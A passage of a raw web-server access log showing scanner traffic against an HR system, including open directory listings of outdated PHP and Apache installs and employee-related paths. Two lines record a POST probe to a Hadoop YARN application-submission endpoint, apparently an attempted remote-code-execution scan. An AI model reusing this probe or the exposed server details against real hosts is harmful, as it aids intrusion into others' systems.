/eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:01:58:52 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:01:58:52 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:01:58:52 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:52 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [05/Dec/2025:02:35:00 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1175520&companyid=3913&userseqno=116041 HTTP/1.1" 200 5317 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:00 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1175520&companyid=3913&userseqno=116041 HTTP/1.1" 200 5317 100.64.0.1 - - [05/Dec/2025:02:35:05 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1175520&companyid=3913&userseqno=116041" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:05 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:02:35:07 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1175520&companyid=3913&userseqno=116041" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:07 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:02:35:09 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:09 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:02:35:11 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:11 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:02:35:13 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:13 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:02:35:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:02:35:18 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:18 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:02:35:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:02:35:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:03:03:46 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:03:03:46 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:03:03:46 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:46 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:03:03:47 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [05/Dec/2025:03:03:47 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [05/Dec/2025:03:03:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:03:03:52 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:52 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:52 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [05/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [05/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:53 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [05/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [05/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:54 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 100.64.0.1 - - [05/Dec/2025:03:03:55 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:55 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [05/Dec/2025:03:03:56 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:56 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 100.64.0.1 - - [05/Dec/2025:03:03:57 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:57 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [05/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 100.64.0.1 - - [05/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:58 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [05/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [05/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [05/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [05/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 100.64.0.1 - - [05/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [05/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 100.64.0.1 - - [05/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [05/Dec/2025:03:04:03 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:03 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 100.64.0.1 - - [05/Dec/2025:03:04:04 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:04 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [05/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 100.64.0.1 - - [05/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [05/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [05/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:09 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [05/Dec/2025:03:04:10 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:03:04:10 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:23 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:03:04:23 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:03:04:23 +0800] "GET /wiki HTTP/1.1" 404 202 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:23 +0800] "GET /wiki HTTP/1.1" 404 202 100.64.0.1 - - [05/Dec/2025:03:04:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:03:04:34 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:34 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [05/Dec/2025:03:04:35 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:35 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:03:04:37 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:37 +0800] "GET /eHR1 HTTP/1.1" 301 239 100.64.0.1 - - [05/Dec/2025:03:04:39 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:39 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:03:04:41 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:41 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [05/Dec/2025:03:04:42 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:42 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:03:04:44 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:44 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [05/Dec/2025:03:04:48 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:48 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [05/Dec/2025:03:04:49 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:49 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [05/Dec/2025:03:04:50 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:50 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [05/Dec/2025:03:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [05/Dec/2025:03:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:03:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [05/Dec/2025:03:05:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:03:05:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [05/Dec/2025:03:06:49 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [05/Dec/2025:03:06:49 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:03:06:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [05/Dec/2025:03:06:53 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:03:09:59 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:03:09:59 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [05/Dec/2025:03:13:51 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [05/Dec/2025:03:13:51 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [05/Dec/2025:03:23:32 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Mobile Safari/537.36" 100.64.0.1 - - [05/Dec/2025:03:23:32 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:03:23:53 +0800] "\x16\x03\x01\x01D\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:03:23:53 +0800] "\x16\x03\x01\x01D\x01" 501 208 100.64.0.1 - - [05/Dec/2025:03:48:05 +0800] "GET 